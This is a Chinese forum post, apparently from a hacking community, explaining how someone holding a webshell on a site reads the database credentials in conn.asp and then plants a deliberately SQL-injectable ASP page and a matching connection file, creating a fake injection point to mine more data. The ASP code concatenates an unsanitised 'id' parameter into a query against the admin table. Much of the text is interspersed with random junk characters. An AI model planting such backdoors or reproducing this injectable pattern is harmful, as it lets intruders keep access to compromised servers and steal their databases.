自己构造注入点方便入侵9 O6 q4 H0 T' s
1 z1 D5 U1 p: h! ]8 u
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息- z8 f, P9 r! ~0 r4 d5 v! A% O
+ ~. A7 o: `2 {% q; ]4 C! S这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
2 b, m1 P* [0 m6 G- w
) d2 T- w6 B5 R, A% {- [ B首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和8 p8 C/ b4 Q/ H/ I6 a) `3 G9 z
; {# x3 c1 |( F$ i
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表& k1 H# C" L- t
- p0 m2 l0 [ S) `4 J! @# n因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
% K, i; R. T, {; e6 K9 l& a0 d) h/ \% ^8 H$ n. h
程序代码
8 a, t B* o1 S1 A2 Z8 ?# ^<!--#include file="xx.asp"-->" Z" E4 A" V- k2 B
<%3 y$ |' G& l# z6 g# D% v2 q0 ~
set rs=server.createobject("ADODB.recordset")! f3 {$ s9 j. Y1 G: W. o
id = request("id"), y; ]$ _0 L4 P2 n" V& |
strSQL = "select * from admin where id=" & id
7 Y6 v1 v# K4 g( m: \, q' ]rs.open strSQL,conn,1,3 p+ O2 j: L0 ^ |+ x
rs.close
1 i: _. T, f0 X%>
1 e" S# X8 [8 E8 i \, d5 L' F( T* M" N
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
( ?8 l! `% F+ W m# x; T
9 Z) P* }5 E& u% z( l5 R你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!' N# t+ a/ Z5 ~3 `
& J6 ^, K7 Q/ ]( n- Q
然后就要构造一个连接数据库的文件了,代码如下:/ j* n+ W n3 q$ O6 v
程序代码- E' S4 q1 d; R0 g# c' {
<%
* N: k- P! c9 g) E: P: PstrSQLServerName = "000.000.000.000" '服务器名称或地址
' f) w& w" E+ _+ q# G% r+ [strSQLDBUserName = "sqlname" '数据库帐号
- K( n& L; `, L4 t/ J- k; fstrSQLDBPassword = "sqlpass" '数据库密码
2 z0 j0 s3 d: [' {: KstrSQLDBName = "sqldataname" '数据库名称1 G0 R: C9 t6 n( t% o# D
Set conn = Server.CreateObject("ADODB.Connection")
; |! B3 F0 E# H! HstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" L. H+ ?7 a1 ?- a7 G6 N+ c* F2 N
conn.open strCon
8 v/ J( U; \2 d0 b' n8 l- {%>
3 }" ~5 u9 j2 D* g$ x
' w% n9 `/ P9 ]. w" R8 y4 ~2 |这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
6 O1 i% f) n2 M
6 k+ c! U; t+ r; ~就这样,正常情况下,就OK了,伪造成功……
1 N# e7 t& ^3 u4 i5 Z
' |# C+ [4 B1 ]( B; B+ [3 X Y 如果有什么问题可以提出来大家一起探讨解决。 |